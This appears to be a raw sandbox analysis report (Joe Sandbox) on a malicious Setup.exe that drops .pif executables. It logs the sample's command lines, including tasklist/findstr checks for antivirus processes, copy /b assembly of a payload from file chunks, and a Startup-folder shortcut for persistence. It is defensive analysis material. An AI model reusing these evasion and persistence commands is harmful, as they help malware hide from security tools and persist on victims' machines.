Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002FF628	10_2_002FF628
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002E1663	10_2_002E1663
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_003016B4	10_2_003016B4
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002EF6A0	10_2_002EF6A0
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_003078C3	10_2_003078C3
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0030DBA5	10_2_0030DBA5
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00301BA8	10_2_00301BA8
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00319CE5	10_2_00319CE5
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002E7CCD	10_2_002E7CCD
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_002FDD28	10_2_002FDD28
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_0030BFD6	10_2_0030BFD6
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00301FC0	10_2_00301FC0
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003CB020	15_2_003CB020
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003C94E0	15_2_003C94E0
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003C9C80	15_2_003C9C80
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E23F5	15_2_003E23F5
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00448400	15_2_00448400
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003F6502	15_2_003F6502
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003F265E	15_2_003F265E
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003CE6F0	15_2_003CE6F0
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E282A	15_2_003E282A
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003F89BF	15_2_003F89BF
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003F6A74	15_2_003F6A74
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00440A3A	15_2_00440A3A
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003D0BE0	15_2_003D0BE0
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003ECD51	15_2_003ECD51
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_0041EDB2	15_2_0041EDB2
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00428E44	15_2_00428E44
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00440EB7	15_2_00440EB7
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003F6FE6	15_2_003F6FE6
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E33B7	15_2_003E33B7
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003EF409	15_2_003EF409
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003DD45D	15_2_003DD45D
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003DF628	15_2_003DF628
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003C1663	15_2_003C1663
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E16B4	15_2_003E16B4
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003CF6A0	15_2_003CF6A0
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E78C3	15_2_003E78C3
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E1BA8	15_2_003E1BA8
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003EDBA5	15_2_003EDBA5
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003F9CE5	15_2_003F9CE5
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003DDD28	15_2_003DDD28
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003EBFD6	15_2_003EBFD6
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E1FC0	15_2_003E1FC0

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\412421\Linux.pif 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D

Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: String function: 003E8B30 appears 42 times
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: String function: 003D1A36 appears 34 times
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: String function: 003E0D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: String function: 00300D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: String function: 002F1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: String function: 00308B30 appears 42 times

Source: Setup.exe

Static PE information: invalid certificate

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal72.expl.evad.winEXE@28/17@2/0

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_0034A6AD GetLastError,FormatMessageW,

10_2_0034A6AD

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00338DE9 AdjustTokenPrivileges,CloseHandle,	10_2_00338DE9
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00339399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	10_2_00339399
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00418DE9 AdjustTokenPrivileges,CloseHandle,	15_2_00418DE9
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_00419399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	15_2_00419399

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0040400B GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040400B

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_00344148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,

10_2_00344148

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00402218 CoCreateInstance,

0_2_00402218

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Code function: 10_2_0034443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

10_2_0034443D

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif

File created: C:\Users\user\AppData\Local\ScribeSoft Systems

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6476:120:WilError_03

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Temp\nsaA366.tmp

Jump to behavior

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Biography Biography.cmd & Biography.cmd & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 412421
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "uncertaintycompetitionsadvertisingorganisation" Marie
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Participated + ..\Corner + ..\Domestic + ..\Disposition + ..\Diagnostic + ..\Options + ..\Mrs M
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\412421\Linux.pif Linux.pif M
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & echo URL="C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif" "C:\Users\user\AppData\Local\ScribeSoft Systems\w"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Biography Biography.cmd & Biography.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 412421	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "uncertaintycompetitionsadvertisingorganisation" Marie	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Participated + ..\Corner + ..\Domestic + ..\Disposition + ..\Diagnostic + ..\Options + ..\Mrs M	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\412421\Linux.pif Linux.pif M	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & echo URL="C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif "C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif" "C:\Users\user\AppData\Local\ScribeSoft Systems\w"	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Setup.exe

Static file information: File size 58731728 > 1048576

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00405BBF GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405BBF

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	Code function: 10_2_00308B75 push ecx; ret	10_2_00308B88
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003E8B75 push ecx; ret	15_2_003E8B88
Source: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	Code function: 15_2_003DCBDB push eax; retf	15_2_003DCBF8

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	File created: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\412421\Linux.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\412421\Linux.pif	File created: C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\412421\Linux.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url

Jump to behavior

